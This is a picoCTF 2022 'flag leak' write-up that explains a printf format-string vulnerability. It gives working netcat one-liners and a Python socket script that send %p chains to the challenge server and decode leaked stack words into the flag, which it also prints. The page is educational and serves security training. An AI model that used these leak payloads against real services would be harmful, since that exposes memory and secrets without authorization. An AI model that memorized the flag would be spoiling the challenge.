Skip to main content

flag leak picoCTF 2022 Solution

Exploit a classic binary vulnerability where user input is passed unsafely to a print function.

Published: July 20, 2023Updated: August 25, 2026

Description

The binary calls printf(user_input) directly instead of printf("%s", user_input). This format-string vulnerability allows you to read arbitrary data off the stack - including the flag stored as a local variable.

Connect via netcat. No binary download is required.

Send format-string specifiers to leak stack values and find the flag.

bash
nc saturn.picoctf.net <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand the format-string vulnerability
    Observation
    The description says printf is called directly on user input with no fixed format string. That is the classic format-string bug, where a user-supplied %p reads values straight off the stack.
    printf(user_input) interprets user input as a format string. %p reads pointer-sized values from the stack; %s dereferences a stack value as a string pointer.
    Learn more

    printf reads additional arguments from the stack (or registers on x86-64) based on format specifiers in its first argument. When user input IS the format string, the attacker controls which values get read.

    Common specifiers for leaking:

    • %p - print a pointer-sized value in hex. Safe; won't crash from invalid addresses.
    • %s - dereference the value as a char* and print as a string. Can crash if the value is not a valid pointer.
    • %x - print an unsigned 32-bit value in hex. On a 64-bit build it prints only the low half of the slot, so the upper four bytes are lost.
    • %n$p - print the Nth argument (direct parameter access, e.g., %3$p skips to the 3rd value on the stack).

    The flag is stored as a local variable (likely a char array on the stack) in the calling function. It will appear as either a printable string via %s, or as raw bytes readable via a chain of %p specifiers.

  2. Step 2Leak the stack with %p chains
    Observation
    The flag lives as a local variable in the calling function's stack frame. A chain of %p specifiers reads consecutive stack slots as hex, safely, without dereferencing anything.
    On x86-64 the first stack-resident format-string argument lives at %6$p (rdi/rsi/rdx/rcx/r8/r9 carry the first six). Walking %1$p through %30$p safely covers the local-variable region without straying past it.
    bash
    echo '%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>
    bash
    echo '%s' | nc saturn.picoctf.net <PORT_FROM_INSTANCE>
    What didn't work first

    Tried: Send '%s' as the first specifier to read the flag as a string directly

    The first stack slot on i386 is not a pointer to the flag buffer; it is a nearby stack address or a saved register. %s dereferences it as a char pointer, which either segfaults the server or prints garbage from unrelated memory. The flag sits further up, so chain %p specifiers to find the slot index before switching to %s.

    Tried: Use '%x' chains instead of '%p' to read stack values

    On a 32-bit binary %x and %p look alike, but on a 64-bit build %x prints only the low 32 bits of each 8-byte slot and silently discards the upper four bytes. Any flag bytes packed into the high half of a slot vanish. %p always prints the full pointer-sized value, whatever the architecture.

    Learn more

    How printf walks arguments on i386 (this binary). All variadic args sit on the stack starting at [esp+4] (the format string itself is at [esp]). Each %p consumes 4 bytes:

    vuln() at the printf(user_input) call:
      [esp+0x00] -> &user_input          <- the format string itself
      [esp+0x04] -> arg1   <- %p / %1$p
      [esp+0x08] -> arg2   <- %p / %2$p
      ...
      [esp+0x40] -> flag[0..3]  <- 0x6f636970 ("pico")
      [esp+0x44] -> flag[4..7]  <- 0x7b465443 ("CTF{")
      [esp+0x48] -> flag[8..11]
      ...

    On x86-64, the first 5 variadic args after the format string come from rsi, rdx, rcx, r8, r9; from arg6 onward they live on the stack starting at [rsp]. So %6$p on x86-64 is the first stack-resident slot.

    Decoding the leak (concrete worked example). Suppose your %p dump produces:

    %17$p = 0x6f636970   bytes 70 69 63 6f -> "pico"
    %18$p = 0x7b465443   bytes 43 54 46 7b -> "CTF{"
    %19$p = 0x6b34336c   bytes 6c 33 34 6b -> "l34k"
    %20$p = 0x676e1535   bytes 35 15 6e 67 -> "5\x15ng"  (truncated)

    Each 4-byte hex value reverses to a 4-character ASCII chunk (little-endian). Concatenating in order yields the flag. The 0x7d byte (}) marks the end. If a chunk is partially garbled, retry with more %ps or use %n$s to dereference the slot as a string pointer.

    Why %s is risky. %s dereferences the stack slot as a char*. If the slot is not a valid pointer, printf segfaults. Use %p first to identify slots whose values look like reasonable addresses (e.g., 0x080xxxxx in a 32-bit non-PIE binary), then switch to %s on those.

  3. Step 3Decode the leaked bytes to reconstruct the flag
    Observation
    The %p dump returns values like 0x6f636970, which is the ASCII for 'pico' in reverse. x86 is little-endian, so each 4-byte word needs reversing before the characters read correctly.
    Each %p prints one pointer-sized value, which is 4 bytes on this i386 binary. On a little-endian box the low-address byte appears at the right of the hex, so reverse each word to read the ASCII left to right.
    python
    python3 -c "
    import socket
    
    s = socket.socket()
    s.settimeout(5)
    s.connect(('saturn.picoctf.net', 0))  # replace 0 with PORT_FROM_INSTANCE
    banner = s.recv(1024)
    if not banner:
        raise RuntimeError('connection closed before banner')
    payload = '.'.join([f'%{i}$p' for i in range(1, 30)]) + '
    '
    s.send(payload.encode())
    data = s.recv(4096)
    if not data:
        raise RuntimeError('no leak received - server closed')
    s.close()
    
    # Parse and decode each 4-byte chunk; try little-endian first, fall back to big-endian.
    for val in data.decode().split('.'):
        val = val.strip()
        if not val.startswith('0x'):
            continue
        try:
            raw = bytes.fromhex(val[2:].zfill(8))
        except ValueError:
            continue
        le = raw[::-1].decode('latin-1')
        be = raw.decode('latin-1')
        pick = le if sum(c.isprintable() and not c.isspace() for c in le) >= sum(c.isprintable() and not c.isspace() for c in be) else be
        if any(c.isprintable() and not c.isspace() for c in pick):
            print(repr(pick))
    "

    Expected output

    picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}
    What didn't work first

    Tried: Print each leaked hex value directly as ASCII without reversing byte order

    Read 0x6f636970 left to right as characters and you get 'ocip' rather than 'pico', because x86 is little-endian and the lowest-address byte sits at the right of the hex. In memory order the bytes are 70 69 63 6f, so reverse each word before decoding. Skip that and the flag looks nearly right and fails submission.

    Tried: Extend the range to '%1$p' through '%100$p' to be thorough

    Walk far past the flag buffer and you read uninitialized stack frames and saved return addresses, which print as zeros or random libc pointers. Those null and non-ASCII values break the printable-character heuristic in the decode script and bury the real flag region in noise. The flag fits inside the first 30 slots on this binary, so stop there.

    Learn more

    A 32-bit value such as 0x6f636970 on a little-endian box stores its lowest byte first in memory. The bytes in address order are 70 69 63 6f. Reversing gives the ASCII pico directly, so raw[::-1].decode() in the script reconstructs the flag characters in source order. A big-endian fallback covers the rare case where the binary or libc has been compiled for a non-x86 host.

    The script targets exactly range(1, 30): On this i386 binary, the format string at [esp+0] has no positional index; the va_list begins at [esp+4], so %1$p reads the first variadic slot and %29$p reads the twenty-ninth. Twenty-nine stack slots is plenty to cover the local flag buffer in this binary; pushing past 30 risks reading past the saved frame and into uninitialised memory whose decoded bytes only add noise.

    Format-string bugs can also write to memory via %n (the number of bytes printed so far is stored at the pointer slot). For read-only leak challenges like this one, %p chains plus selective %s on slots that look like valid pointers is the entire toolkit. For the broader pattern set see Format string vulnerabilities for CTF and the script-driven workflow in pwntools for CTF.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{L34k1ng_Fl4g_0ff_St4ck_...}

Send a chain of %p specifiers to dump stack values. Decode the hex output as little-endian ASCII to find the flag stored on the stack.

Key takeaway

Format string bugs exploit printf trusting its first argument as the format specification. Any path where user input reaches a variadic format function without a fixed format string opens stack disclosure through %p and %x, arbitrary reads through %s, and arbitrary writes through %n. The same shape appears in logging libraries, network daemons, and embedded firmware, and the class has survived decades because the root cause is one missing string literal in a call.

Related reading

Useful tools for Binary Exploitation

Where to go next